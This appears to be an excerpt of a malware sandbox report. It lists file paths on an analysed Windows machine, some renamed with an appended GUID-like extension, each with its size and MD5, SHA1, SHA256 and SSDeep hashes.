SHA256: 60e9beaef06ef0f8f65a1ab469539fc67ba20e2e7cbb507bb062c1adc615f005
SSDeep: 768:V5z4ahxC+lm6Uc3R3eahQBiOjYA370MZA5BQXGyc:XzjxCc+cxNSdjYuAc1c 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c3Rxt6TZ75AU_7ScuQe.bmp 83.19 KB MD5: 20225edf6d63a8d3cf2fa055d66ed44a
SHA1: 6b8cf0a29c7873e2a64cbd307f067e3ae327f6a1
SHA256: 09c1f7180cbbf64104e126757e2a5bc96bf1da5f60021565a9b7dcdf4d6f1a5f
SSDeep: 1536:rfbNpjpIStAAUrD25JOkBQ+QzDQ7+OFwZ9fi6xMdLpgVPmx63Pf0:raStAAU+5gEQdDgno9udlZa0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c3Rxt6TZ75AU_7ScuQe.bmp 85.62 KB MD5: 339f2d50b398f01a8e2c48b14c798fa7
SHA1: aa5390100e2f81faf8f7056252308ec1b8ec101c
SHA256: b9b76ea097a973fe85bb31baeff289c0fbd0169172bca712507312e858c51d5c
SSDeep: 1536:ogZLya4XOouYlZeLvrIKnWKm1HO+mXZ3dQG+mx63Pf0:1ZsYYLeLvrpWnZO+UZdQG1a0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CHEDPFTiQP67Llt2.mkv 71.59 KB MD5: 3ca861c882fba9fad0e6dddf1696717b
SHA1: 03e65888166ddcf77c2fa94cbea9f7c67fe2c97d
SHA256: d5b4a3b0c9021fa0a5d9b6b29970878acc9d59259c15cf98fd35372806c59d0e
SSDeep: 1536:m/i/MJdlQuLRyT7sewMg5565tNt/Pj+3Nszlgc0Fgi+eRwxy:H/uRALdtja36WuUb 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\icCocQEeC.csv 22.52 KB MD5: 150dd88ab90ac67ff77500969e88bdfc
SHA1: 262ff9fd62533780354aa5b81959a559dbd56359
SHA256: 136e39e27e54edc207bcaa95c91fd6f1adcd536231062988410a60cd52bb5bb8
SSDeep: 384:tSW+oUXkeCDA/B55VAIsgs57cUuEnbBqfh7y5xjHIMgDxRBQvNtwZ33i4srTX1oI:Y3o/y5S/gsVxuEnUfhu5CvxwFC3aF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IRXNt_F.gif 76.01 KB MD5: b84b28d8b97b8ad6d8801d14e84a93ad
SHA1: 3579862f33f8d966dfa2adb380e984f6f2c4b306
SHA256: 9b99dee5e7b2ccd062fe3606c8898a4a5be5cdd77ca1271b55041a655d141f7a
SSDeep: 1536:pVGBQkEElUhdaVFmP23JlCX+TdEun5XFkCH25AZSg:pVG6JEuhdWU25lSz2zt25A0g 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IZq0VqclNsC-3.ppt 37.38 KB MD5: bb271e486a5aae7e2ea8c5537852f0a6
SHA1: caccb52e870cbbd12591e87c04572d3865ecd3fc
SHA256: 4dd8110c708077711d2bb6cd0f2bcb42a0945acf8071cf62209ff77c07045d86
SSDeep: 768:7YJnuEEP9hLgzrKfb4TIx/4kOLbyhLToxJLAu81+5QiX2P3tYnzVF:anDEDgyVdSahnozG16QiXq3qX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Jcp9TJtkRvhrTh.png 17.13 KB MD5: a620836561ac9b69eef8db00ccf589bd
SHA1: e8162d4d2eb19e56415b35ff469833a1331493a4
SHA256: 865a07a7084b5bd2c47b5477735cc7607951efe0b194f8b02b36ddd98e9eca57
SSDeep: 384:tWgsK2Wc71ayHKUuJP4kTsqHwNykhv1iTX1oI:trsKk1axU2tdW0F 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\K9oCAOY.odt 24.41 KB MD5: 118017c94d96f5d201fbe40bec4b0c6f
SHA1: cec34d31db26352df88c4320ad49e1c9d5ee1d12
SHA256: 1ef49d1d08ad7d35c3f6d7d12ed72323dd928f4ff79425872e1cdfc47fb51089
SSDeep: 768:hGqKN66InPdj8QzayBQslh3ctb7ZmkKMVSmBF:QzN6bn1jVWyB9rmfHKDmf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ocsI3awyiL.flv 17.09 KB MD5: 97342bbbce9a24429a54bcbac4f1b4e4
SHA1: bb5feb609c53c6c7f2c869c3f17ae1c5ec077614
SHA256: eae339adf19b31679685bfcd7faa6132a93337a2870417af73dda0200f29f6fb
SSDeep: 384:4RJqhCKfLvSz6CMrEKGw9saEoXHBjqOoJ+tgLWqVmUor:4UnaeGw97Q2eWqC 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ocsI3awyiL.flv 18.55 KB MD5: 89f485eef62c2f1400754b70acb7ab8e
SHA1: 2c9ca835acb332f43d729babc49601ccfd1bfac3
SHA256: 3b535be6da9cc1662666973816493c04c000dc7788acab242b14cf732dc489a7
SSDeep: 384:zMi6z4daXqj0Xhe1tWN91WgCqjK5bzbtLievGr+GwD2WcVAwgCniTX1oI:UEdaXqj0xe1tWLggCq2bzZBvCUDTE5qF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rkHGdxl1tL.ppt 71.23 KB MD5: 090535e6b295f4068b96d78c42d423ff
SHA1: 9f152e5cb5104232ae1e10fed8231e8e84e7e57a
SHA256: ca5d4217e95e3df2c68b0bbdf2166acca8fe61a16a0e536af0c5295a5d0ef2fc
SSDeep: 1536:8j1pGSdGbx+Fdm/RdhzC5tWWiam5gnaV6qiyTxMeAQDsmNXqn:8jDGSdGsUjhWjAam2aHiASe/DXX0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rkHGdxl1tL.ppt 73.67 KB MD5: 0161d24ee79a162b13133904d7f1c3e4
SHA1: b4dbd06f76de4dabbfebcd61458851bea9ebcbbb
SHA256: bd7f8fe77b49bc0edcc4cc206aad58aa4b77d9d3d49f24061460b1ea4a88c85f
SSDeep: 1536:cMZhdt4z1w8UibYl1ZXhnGFSvyH7Vhwu3yYusmNXqz:cscrk7GFH7bwu3HuXXs 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\VNxddPAeY.mp4 25.14 KB MD5: b79c7e51f462d7e042fe472ccdb86ea8
SHA1: cbe9289e388d27cff2491c8fc0335b9c2ba6159c
SHA256: dfbcce3e1501d56662f0f1124ed47ea6f918871ae9a8772dd1be1caddf2ff065
SSDeep: 768:zhf1XRknBZ/A4r9EWQoLzS+RgmqotUs8MWSF:VMZ/zJEWb9Rgm4KX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wyZyk.xlsx 12.52 KB MD5: 940339f5366e631b79f0f1957ed81c6f
SHA1: 8389a2b37cd8c493954d7b59b1e630d0cd0df929
SHA256: 7815cfdac147c517922e389173587b767c5cd32241dd1bc23c6cd6cef5796d72
SSDeep: 384:DsQKxeFilKJTxYPGqf8jJ64ZmSkwza/RPB92DyTX1oI:DsbxwhSOd7ZEdZ/IaF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\xJLRq.swf 89.80 KB MD5: 535a964dae91cd450fbb9e47c5660463
SHA1: 98e1007df24935995e5f46f33c99333c1442cb8f
SHA256: 583cdfa5e0f2b299b2fa95a499c49cbfe76a2ac30f2951aa916d2be9b71586c1
SSDeep: 1536:eYcs7fOPq2NbiSfyOjnmH8E9ozageEGgmxdUweazC7GgLnPu3IEQeOi08:BcoOPq2f3nuozalEGgIV98LWhQeY8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZGKGhFU.jpg 50.17 KB MD5: 943996a8fd09d4c258d70cf2e26e00b4
SHA1: 1b4c06e77ba6cfa6f19fcbf535131a601304f015
SHA256: 7bc7ed2b39be3744c980d0aab598340057e589b5544d0b9ffccfc563db35b291
SSDeep: 1536:/VnMOsUJI3cZC5oBNJ3n3nAzjEYMATHDYTtbqRVuAke:dM7UewbH93nA0YMA3YTAke 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZGKGhFU.jpg 51.63 KB MD5: 9e32e6098047a4255fc733b05a54e748
SHA1: 6925767df7b48c7dbc8ef34bde531da2d0090f34
SHA256: 55b56e88c52bd46f81bd497f470386f2d22cff11aae0e5b5cfdc88729bd24279
SSDeep: 768:B3h76FzjNEKShPjickOBIJZB1FlPOjlTSmj/0RT3cYSOU4Q0neHQdQNC1R6cF:N8Fl/kbxkHj1PPUkgsp3cYSODeYQVI 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\2-DznvM2CBIeSJpacfhT.gif 36.44 KB MD5: f45f4395e7cb6385fc477fad602ab5fd
SHA1: 3569a35a710f6e126e34f55ca5acd8ddd6705a02
SHA256: 7903c0d3875d6746f0fdfeb06578f19253a8b8697bbb60809a8c03da567b5ebd
SSDeep: 768:Zh0Z75HXpqA9R8/uiVSl4JmI/fWFlARaozkkNyy5GJIROUNLwFF:YX7yWiVSl4YI/uvAA+kkNhtwj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\GiJ7o9ydiQxJQU i.gif 82.84 KB MD5: 8b6c957003197c4b6fb268a69df60bb4
SHA1: f020c2070de850e6a271f91629466112559335ec
SHA256: 9123ccf1d31b8f435936d9de988cc4e1c2d22a18e8ecd2fe5ac3284122e83156
SSDeep: 1536:UPEp9pztIUjkGRmqwASPzKP4qJLhQedjdH9mLCXRuEPMC+YazSi5wTTVob:Z99txUqpWKP4sVdjfmOXRbPMzlSim3Vk 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\MPtDDaiXphqphSQ0Mg.wav 36.60 KB MD5: 0179c99f7e006081298fd7f96042e0e1
SHA1: a8097a3c1e82f6be684b1e0582c150a06d68d5ed
SHA256: 9b14f7e7b9c56f444f42703f59e91338645423d048c88bf247f1736b0056505e
SSDeep: 768:C36OJk2PaRh6gP2eeE9FcUeb4kEkxY0RKt2koZvcqHuXvAFmCaF:o6OS18geep6UWEEY0RKtgvccIYmCe 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\noUnaAH9k.flv 14.08 KB MD5: d9ca62a13a3857bf550576b261d2df64
SHA1: eb30f7e584c6a3b8058eea01b67a32adce4f42ff
SHA256: 5d676b02eb5fdebcdc98caf57984d4c1a206a74bdbb6a78f0c5c8911c2f6d470
SSDeep: 384:K1Q+X/4/mqD2f6CuuLSReAJvgl778bvA4RsNywFGJiV:K5gRWuuGY78E6aQK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\oI0yJGXKm.mkv 47.04 KB MD5: 4406352b3b5a2b6fdfacc8dab47ab684
SHA1: d6bd134201867b01abf9eee0fab9eab404669927
SHA256: 1c8bdfdcc398814ff598864f104c3460d1c5297301d6faa3c7f9520047b792eb
SSDeep: 768:ETCktPLv+iHwgYgRGE5exo12NZGqVwNIVrKtUWNv1GRM2E+sfVRnZjs6bIBr:ET5zjHeuGEYxgyjNKqO1GKbR9s6bIBr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\oI0yJGXKm.mkv 48.50 KB MD5: 71a96693e7243473e3d0458617a1e207
SHA1: 8de1651d931890003010d22a7a4292db6b4c838b
SHA256: eea6f8b8a098bd853b52e27319925942f30c2fb0317c9f3fb5034d8629a4e3d4
SSDeep: 768:yAKA9iY80fZ59mdomiiGlpEjxJdXQhJ2Gw1TDOJU5a9uaF:yAeY80meLlu9vXQhJjwJOU7e 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\22cgypbJdJpqkH9.mkv 11.27 KB MD5: 54e77b3baae6c152c78547cb4ceacb6d
SHA1: 9b82f8d50e0eaa79c01485d7430b067d5d8d28b7
SHA256: dd8304614544db605643248f3bf44c604380335b1e8ca4a02b4e802535b5fde3
SSDeep: 192:corjDftYfxDsDCuvdRPLUenjB+YebGJajC2D99p5MxnXPP6ISnhsLwBE:cw+DsD/XP4lfGJ2597qXXq2LwBE 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\22cgypbJdJpqkH9.mkv 12.74 KB MD5: 53a5db5e767ae0f347729a701d48eb40
SHA1: 4ea69669e2b15ac35138e70627cecbe935384051
SHA256: 6f9c296ac0878bae14eb42d3f522d902a64b8c7a12109fb916f64af93324a675
SSDeep: 384:3zvN7g8JzQoe8TBln7JxJ6lBCtxh/ftp4cTX1oI:7m8tLe8TBfxJ6LCtxVFp44F 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\b3an_n.doc 39.46 KB MD5: 401d9a01633c730639ae20bba172542a
SHA1: e43d1c5bd0b6486151121a04b02b64045894db69
SHA256: ccf900fb4c88c72fa31756b334399556701ef4328bf727fccb9209e94ca35c79
SSDeep: 768:eOpt5FRmq9d2Ho10IL4LAKIiBU4bdLgOI6x45y8w5wOz0Ac9omIicdrR3ebth3lC:nptr2H60rLA6/jBOV39HINROhhlvUzd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\STmNzCf2kHMrprU.csv 45.24 KB MD5: 0a6e882134e806de0af2ef6948be3d97
SHA1: 679fab22026f0198e066ca9ebc741e739032875e
SHA256: 6af090dc9540b35c4709a98384e8279b18370b94ce3822ce84259a9b73d003cf
SSDeep: 768:L1uWlMmUUqtoEmUE95H5fRUp1KXcjvQFbDaIWnWsVvmv4LgBJiMDzzckmSgx8hkA:L1uWlMmUUqWEmUE995fRZsjgD769/LCp 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\X_eHKXB 3BvRf.odt 70.21 KB MD5: a86ac88f42913670b12a3c97ad3a0b88
SHA1: 3ddf024c367b213f3a8c20c7ebe4a9318553ebd6
SHA256: efb1e6a9c2e2d19558f28c6134baf9759304750d9228e5a957c4f0713b329b51
SSDeep: 1536:SqndwcrpKHIEDA9zo2SRQ5FyymPXETA03UtZuNuH85UpHtgiF:36cgzDAO2Vyy4XERktUd5+KiF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\X_eHKXB 3BvRf.odt 72.65 KB MD5: 8fcb418f719d806f176db391d2629e1b
SHA1: e830748e8334dd2785c4260270806090a03096a1
SHA256: 9586c857febe1e0783ed0a999b68fd63431f319abfcfc546f99a14dedabb3a15
SSDeep: 1536:EZyjzI+F/JFhcRyvjHgPqKz7V5Zkzqs7gV4YT1UcBx5wtnOPicl2Ax5UpHtgiK4:kyjzV/JXc8Doqm7V5HyguYjx5wtnO7x+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\YeIhI573Uc31sI.png 92.77 KB MD5: 53f3b010dcba7dd5ec711522d058607d
SHA1: d56434729f47fad010f632c78661784b570e7502
SHA256: 48f67906f5bffa86a0bd729fe35d3bbaaac927532543f1aabcde86440d7c99d0
SSDeep: 1536:34Ho3SUQnFCtZfCU98WfXnqn7sKlUkxla5NaMjUq6YnO5r6Pai1vCNtS9ZF1Llpn:SUQ0C+8YqQ2daWYn8uPF1vCNtSbLPJqE 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\zhVAN.bmp 62.14 KB MD5: a34e6382f2fa81d4a4a81c8a19bb0f4b
SHA1: 9eb4deefe82c8b07939e67c21fbed1eb54e3b971
SHA256: 943088e46dba2316d14b1fba025ecb9c57b385079a26e9126c46bbc517a41a3d
SSDeep: 1536:rpuWcZEdMmlsZHuVifzcUhHtKDVaNuYeguCR0i:gde5lsZHQioU0aNuTli 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\znzmSLsPIjDhvdxLSb.wav 93.84 KB MD5: 4b2b28322f243a9e9685491e358daa31
SHA1: 7cca7c2c33057b41bdec590cda861c85cba187bb
SHA256: 80ecbde60bdb9ed689b2b946118b80e85daf95e5ecde62d3ea239a3b62afb15b
SSDeep: 1536:g0ljS+r4Vui1VnwTEH7aHF21D+i7bSn29fVEXShaj7/NG5Vd+AJeeFURkJMTkfGG:g0lm+r4Vuaw8aS+6fCihan05P+Oh+OJf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\sH0n34eiZ5Sn1uR3\C0Ot6PxWef1Er I\znzmSLsPIjDhvdxLSb.wav 96.27 KB MD5: 185c1f23ab24228c79810e6b095568f7
SHA1: e0d86d8cbc206e402794ece423f2a6235df3a628
SHA256: 4102cfb7f39c8a8f0c874f5693e32947f447fffa38d11d900337b8930ce6c1e4
SSDeep: 1536:AKZS2YMKFZbxN7sXrtA/MIH3byBxzTvMfVd+AJeeFURkJMTkfGjl+KV:Alb/u5A/MIXATvMfP+Oh+OJ8/V 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\9KS5qgX5Zwp_wPE.flv 56.60 KB MD5: 6a79abdbd3440a296d2c046a7c6ec09f
SHA1: 9d4c3c69e9227b49c8908628fec9d499e20210c6
SHA256: 1f709e66670d23d61b5c46e9b35ebfe79dfffa197d10b196a059c1ec14af1fed
SSDeep: 1536:DMrmbyRtBhuDh4PRqu4c/YQwWa0fwfhxd+uS:FyDzCL/WaLxEuS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\9KS5qgX5Zwp_wPE.flv 58.06 KB MD5: 2836843780af75540a99b7ef3fc416e3
SHA1: 088f145bbaea291401e919604e67e967da6ea001
SHA256: 6fd0aedb5eaf70609458fe352beea1008963113a6d71c657d5e494bfb26c66df
SSDeep: 1536:NNm6hvcsJwlMdX9Pa878GDQuGFkBOKZYDn+i4CMOay2D:rm6dHwl+9R78GDQuGFk7QehOay2D 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\LL30Wm.xls 86.23 KB MD5: afb8afbc654bfb873c6d771bb7757a40
SHA1: 0ae43086350c714bb2cbe0aca8331c7a67eb6faa
SHA256: 3891ce87d9e8fda4e50f59b613044bb98458da1594e6e26549fe40baefad2709
SSDeep: 1536:eC7tZnBlaYcz2E3Aj3TdI2IN1ERzYGzrtAVK8y2Y17EEi+d:7nBxczZxs09VtKgod 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\McIX.mp3 74.02 KB MD5: 118c6787f7e88a1b131bcd8952705af8
SHA1: 7b2625a304cce896983b753af9059c24d2b453c3
SHA256: 49ea38fc1d3ba692328267f31ba9aca3b1adada70bdf62015971c4829ffa9da1
SSDeep: 1536:1b/0G4+C2aXn4i3SNrNs+x/Yhe86IPv/+ulJeSUzc74pRDOKxmwpgRR59l:1b/JQ4iiNrChfPv/FlJJypRDMd59l 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\McIX.mp3 76.45 KB MD5: 275c208b769d0f8bf2db5ed681693aec
SHA1: 09a5e20d7de755c253f9ef8afd62e45695a1d544
SHA256: abd3ac7a3a180b9efe94e35233d31441aa094301236d2a2d3330ab5cc15bbffb
SSDeep: 1536:/TCkMoBorTFK2QtzWTYrtImm7U783TKItR9AwwBmv/bBRR59//:/xMoBof4ztlr5A3944v/bJ59X 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2PEwRlhZGH3TyGctXZD\Y2RaxQdY5J2l RKG\wRknaOJH.flv 57.50 KB MD5: a56bcaf1b15eeb62c3d6e2f3cf747e2f
SHA1: 8ed2ed975b20f28b14c97ce6cce9e46ab62f5573
SHA256: 7fe646d711d76ceda430edbf5fe171166b02c002c68b6520c69458c1b8b2cc8f
SSDeep: 1536:gSs0xN5nyjuwfIfSMgQwgstWfxVBTWK7jO+bltDLZGfSPAK:gSssTna5tPgM4xjTrjO+bltDWSPr 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\as90.xsl 18.30 KB MD5: defc1aaa024f7807c46451899bb0e9bf
SHA1: 93a015d916f97961a4a7576bba35f03293bc0541
SHA256: 50c7b34bc395431f47c4859f572d9ade55090cb53f9badb2e35de7b36f920d0f
SSDeep: 384:fWvnqiHr3iHrnFBbs5z7l16VKubGGIibHj:uvnKK7l16VK5GIibHj 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\informix.xsl 30.22 KB MD5: c5d87a5511f54cc0c0328af33266b7e0
SHA1: efde6f9fc91a1baf6eb5df2e5ef39dbb68e6b8cc
SHA256: 1535c1a1f223e670dd9005cc0b33cc144435c6b8afb2507f2984064e570c28cc
SSDeep: 384:3ByDmvqiHr3iHrnFBbs5crEnP5cV/EGk/T/VpQrIibHz:3BAmvK5rEPGkBpQrIibHz 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Informix.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 31.69 KB MD5: c2d5f55dae58f787cd0205632aed47c0
SHA1: 71225b76ed41dec6987d059e399cec1560aaeb8a
SHA256: 28c9febfd89aa586041d1625b0e9ab88e5a9390bf3c798e241831ae4aed5dc30
SSDeep: 768:p027V/ZsjRmgwGb9TjP/jL0Fr+wTofyUsEEPgkYaUkurb5OtwfgF:e0/ZsjggwGb9TvN6UsLgQurbGwfc 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\cartridges\msjet.xsl 28.30 KB MD5: efa6617fad71e6496c4ba467d34f4a5a
SHA1: 3a2cbe3a6c37a5bfec3545367c0cff6571423de9
SHA256: a89995d7265bd4ef9370f133e20391ebcaa4722f939487ab79f1a0457a2a448f
SSDeep: 384:fdMOrJnSprJlKpNeqrJQvnqiHr3iHrnFBbs5zs0wV0nZK3JnPnKzsQbGk/T/wIi3:VMvvnKMs0wV0n83JPnKOkEIibHb 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql70.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 32.86 KB MD5: ec4f6b23b5fb0b3136858c531e355fa6
SHA1: 60dd787b0f7192d1801e858bf983dd162b757ec9
SHA256: 85b54e95f86345bfa57b0ce0113a44d8cdde9c9c4a505d067aea372c32808963
SSDeep: 768:2TSarVYZJNBKKTKuvpnps+HCeoa/e+JA2mixtF:arqTNBKKTTps+Hl/9JA2mixL 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 40.05 KB MD5: 175427f54d69e87d4fe16c964bdfa692
SHA1: 665d83ecebf05c114dbc3e4fde55edf39ef00297
SHA256: 8e397f7a3feb3c44cd02a77e061ca875ce1d18d773e400567008a4b43ac80de0
SSDeep: 768:kTSmsbBjz5KWsH3FEXLITn+fdt3JCag23AtRhLsTIcvsTockQhWEuQF:M2lvsHjn+fhC+iHstsPkQEEV 		False
...
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\Sybase.xsl.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 30.56 KB MD5: c3893a8ef104157302a1a77fb1b61a24
SHA1: 1c525ecf3188ced4babb4f3d20db8f39baa6acfa
SHA256: cb6bc8fdec19b53de70d4d90cfc74bfe61e224e53f20aa683b5d12c9c2e81bfa
SSDeep: 768:YTfTCnHHBW6Cyesd7pQUH7Hlr/1Pi+O6fY1+JGF:YfTEnk6CyTfQUbRdHO7+Ja 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\resources\1033\msmdsrv.rll 650.84 KB MD5: 65ef0a8e5cd8f60dc5c1c5d28d123267
SHA1: d54c2a99d29b18680fe57970c802d761ed6e6d61
SHA256: 09b4fba0fd89a5f1fb966bfe1cb1143a64d2e56ea8b7b080afb82ac4385e19ff
SSDeep: 6144:GVG5g4GLrhwG4AQWmi3fMCBJCDr1QN4bULE:GVG5g4GLrhwG4AQWmi3fMCBJC8/LE 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft analysis services\as oledb\10\resources\1033\msolui100.rll 14.52 KB MD5: def966b4398d0bf3855c98442a592404
SHA1: 747b96477e92791e069b7995822b53416d7dd1a0
SHA256: e1104e6d3e4f993043ac126c8f3d2c2e48d2bcd909e5066e6e6f74b1b6000b85
SSDeep: 192:gKWdcO1jJ5WO05MsaYOF4gavfo6oEQKPnEt2yt8mJz+jaIhjTH/S:ZWdcEjJ5WD5S4CnELKt8Cy/j+ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00004_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.28 KB MD5: bf58e2b51c387807c4477fe0654b186a
SHA1: 178569441260534ded084467fcdb4eee2ba3ce1a
SHA256: b8bd232d6b1dcf15bfd37ffa8633e31b796543169cd7719fed53364c44a47245
SSDeep: 192:IEodpuw+nE2G41wr5kafZSah2l0MWiMmcwd7zdrQkN9lHafOlJX1o/A:IjdIVnwnfZSaIl0MDMmcwd7JBl6fOTXz 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00011_.gif 7.05 KB MD5: eba08318eb8296274327a65acff25d5f
SHA1: af9e13e8904f68c030831e45c60533f5c0c6eaf5
SHA256: b242b726e8b7be708a2bdb4232c460a760e70c7b490ce2f3bfda9383254bdd9b
SSDeep: 192:0nsybGduWvD72oug7BAUo6TyD8VUJqUGLx5ED1GLx5qc:0nsGWL72ox7BA94yD8KJqUO5EhO5qc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00021_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.99 KB MD5: 0fd4bdfd662538b9b2bed8a2b156d5c3
SHA1: ccf2a47198ccaaa5c2f8a93aea2c65efd7f28bee
SHA256: c67df8996968c806b1ab40f72ceff6a063d68fac744771b7141c4a08ce13ea3c
SSDeep: 384:eIpMIEiaOlT2fHHHADVFZd7QBpfLgNUjTX1oI:dpMIJbofSVFPIL8UNF 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00037_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.99 KB MD5: e25d8cc0e41b2dd6c43103e190d80a5a
SHA1: 7c7476f89e1a851942d2bd4387abd4a1098b395e
SHA256: b9fac9a195366f260b24e76b58544dad0ef3a4eb989e6d3b6dc5c3f80357ddd7
SSDeep: 192:BKpcBmLqTjc5Q9C9ab+liXg9bdTAo4cdu3Xl854WOmYlJX1o/A:BwcBmGfcYsbliXUZ5ru3q4WOmYTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00038_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.64 KB MD5: cad9f0ba1d284a8fcf21e7c95cea45d0
SHA1: c2d1fca06da6a961837cee82c5baa0b15dd2a975
SHA256: 330c92d9e3343d6282c02829f53b1af98c93af65ccf0038b0a314c387413ecae
SSDeep: 96:HpiCsa/oZXyld9oCJg49FBiNYTkGFALM1FgMlBgftvHFeEX1Yv6aRe:JH/uXyld9o0FFhFAAw1tlJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00052_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.97 KB MD5: 6af848299b80ae3971dbbcb131ac7eb2
SHA1: 0f0c48bb60ac9bf286bae6a8f93e2355ba4388c9
SHA256: 69c28d8165069f73edad567701016c395a976b2dfd63f88d631e75a56f059ef2
SSDeep: 192:Tkyje6tXRBItL9DULVJ70GmViavXMscSYUlJX1o/A:TzjpXRBQLAVJ80aWVUTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00090_.gif 518 bytes MD5: 18fe1d8284d3f3ceed271d10250ec77b
SHA1: 82a9ea064eff7c0d2c9a41c5cbe0aca4fc5bfed0
SHA256: ce2f9f2c0b6a177e4d77624feacb97cc1c011cb76e73533434801747be68e83a
SSDeep: 12:y/TSs6wKfzGhBpKtKsPLvJi9JYnJAWKIeAjpUUKsPLvJi9JYnJAT:w6pzKP2QJK606mQJK6T 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00090_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.97 KB MD5: df26be9d64480804990d6e55f8708f6b
SHA1: e51eaf5d24e30f361494a610d7de7a1bb57f58e0
SHA256: 1ec0d92e2ceb6031324801195c2ff390ffe01667dfe43d679269dfb12ed83c86
